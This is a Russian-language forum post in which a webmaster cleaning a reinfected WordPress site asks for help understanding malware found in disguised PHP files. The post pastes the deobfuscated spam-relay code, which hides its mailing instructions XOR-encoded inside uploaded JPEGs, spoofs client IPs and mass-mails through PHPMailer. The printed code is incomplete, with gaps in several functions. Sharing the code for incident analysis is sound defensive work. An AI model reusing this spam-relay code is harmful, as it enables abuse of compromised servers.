Привет всем! Давно тут не был)
В общем, дело такое: на сайте заказчика вирус, сайт на wordpress, но это по сути не так важно, потому, что до момента поиска уязвимости еще далеко. Ну, то есть я конечно сделал все стандартные действия- убил все левые плагины, сравнил оригинал вордпресса с текущим, прогнал сайт несколькими плагинами по выявлению вредоносного кода, прогнал "айболитом" и т.д. В итоге начистил гору вредоносов, но безрезультатно - они появляются вновь.
Что делает вирус. Он спамит через email, за что хостер отрубил возможность отправлять письма. Но это тоже к сути моего вопроса отношения не имеет. Вредоносный код обычно появляется во всяких потаенных местах, типа css папок, всяких глубоких папок js каких-то плагинов и т.д. Выглядит как, либо абракадабра (dffr32.php), либо маскируется под какие-то нужные файлы (template.php). Сам код обфусцирован несложно довольно-таки, потому я его привел в божеский вид и пытаюсь понять как именно он все делает.
Пока я понял только, что он проверяет наличие $_FILES, перебирает его и если находит там любой файл кроме jpg то меняет его имя определенным образом. Ну и по мелочи там- имя хоста и т.д. Затем идет огромный кусок кода, это класс phpMailer прямо с комментариями даже с гитхаба) Этот кусок я пропустил и не буду показывать сейчас потому что он огромен и 100% это чистый phpmailer , а после уже идет опять код зловреда, где он уже и собственно отправляет спам. Но я не могу понять момента, где он берет сам список спама, список адресов куда слать и т.д.
Может кто-то из уважаемого сообщества заинтересуется и посмотрит код? Он очень интересный, между прочим) В общем, любые соображения приветствуются.
Злой код
Спойлер (Отобразить)
CODE (
htmlphp):
скопировать код в буфер обмена
<?php
if(isset($_SERVER)) { $_SERVER['PHP_SELF'] = "/"; $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1"; } }
foreach($_FILES as $key => $file)
{ if(!strpos($file['name'], ".jpg")) { $filename = alter_macros($file['name']); $filename = num_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename; } }
}
function custom_strip_tags($text) {
return $text; }
function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content) {
$host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
if (is_ip($host)) { return $content; }
$tokens = explode("@", $content); $content = $tokens[0] . "@" . $host . ">"; return $content;
}
function alter_macros($content) {
for($i = 0; $i < count($matches[1]); $i++) { $rand = rand(0, ($c2 - 1)); $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content); }
return $content; }
function xnum_macros($content)
for($i = 0; $i < count($matches[0]); $i++)
{ $num = $matches[1][$i]; $min = pow(10, $num - 1); $max = pow(10, $num) - 1; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); }
return $content; }
function num_macros($content)
{ preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; }
function fteil_macros($content, $fteil)
//ТУТ ВСТАВКА С PHPmailer
function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file)
{
$mail = new PHPMailer();
$mail->isMail();
$mail->CharSet = 'utf-8';
$mail->SetFrom($from_email, $from_name);
$mail->AddAddress($to);
$mail->Subject = $subject;
if ($type == "1")
{
$mail->MsgHTML($body);
}
elseif ($type == "2")
{
$mail->isHTML(false);
$mail->Body = $body;
}
{
foreach($_FILES as $key => $file)
{
if ($file['tmp_name'] != $config_file)
{
$mail->addAttachment($file['tmp_name'], $file['name']);
}
}
}
if (!$mail->send())
{
$to_domain = $to_domain[1];
$mail->IsSMTP();
$mail->Host = mx_lookup($to_domain);
$mail->Port = 25;
$mail->SMTPAuth = false;
if (!$mail->send())
{
return $mail->ErrorInfo;
}
else
{
return 0;
}
}
else
{
return 0;
}
}
{
foreach($_FILES as $key => $file)
{
if(strpos($file['name'], ".jpg")) {
$res = type1_send($file['tmp_name']);
if ($res)
{
echo $res;
}
}
}
}
function mx_lookup($hostname)
{
@getmxrr($hostname, $mxhosts, $precedence); if(count($mxhosts) === 0) return '127.0.0.1'; return $mxhosts[$position[0]];
}
function myhex2bin( $str ) {
$sbin = "";
for ( $i = 0; $i < $len; $i += 2 ) {
}
return $sbin;
}
function decode($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j])); }
}
return $out_data;
}
function type1_send($config_file)
{
$start_pos = strpos($data, myhex2bin("ffda")); if ($start_pos)
{
$start_pos += (20);
$end_pos = strrpos($data, myhex2bin("ffd9")); if ($end_pos)
{
$data = substr($data, $start_pos, $end_pos); }
else
{
return FALSE;
}
}
else
{
return FALSE;
}
$key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = decode($data, $key);
if (!$data || !isset($data['ak'])) {
return FALSE;
}
if ($data['ak'] != "fa9bde3e-fe57-4dd7-9cba-5a1ed8f8f3cf")
{
}
{
$res["r"]["c"] = $data['c'];
}
$good = 0;
$bad = 0;
$last_error = 0;
foreach ($data['e'] as $uid=>$email)
{
$theme = alter_macros($theme);
$theme = num_macros($theme);
$theme = xnum_macros($theme);
$message = $data['l'];
$message = alter_macros($message);
$message = num_macros($message);
$message = xnum_macros($message);
$message = fteil_macros($message, $uid);
$from = alter_macros($from);
$from = num_macros($from);
$from = xnum_macros($from);
if (strstr($from, "[CUSTOM]") == FALSE) {
$from = from_host($from);
}
else
{
}
$from_email = explode(">", $from_email[1]); $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['l t'], $config_file);
if ($last_error === 0)
{
$good++;
}
else
{
$bad++;
$good = count($data['e']) - $bad; }
}
$res["r"]["e"] = $last_error === FALSE ? 0 : $last_error;
$res["r"]["g"] = $good;
$res["r"]["b"] = $bad;
}
?>
Этот код содержится практически во всех зараженных файлах, и везде он одинаков. Но, должен сказать, что попадается еще один вид кода, который я пока не смог толком деобфусцировать. Если кому-то станет интересно - выложу в "грязном" виде.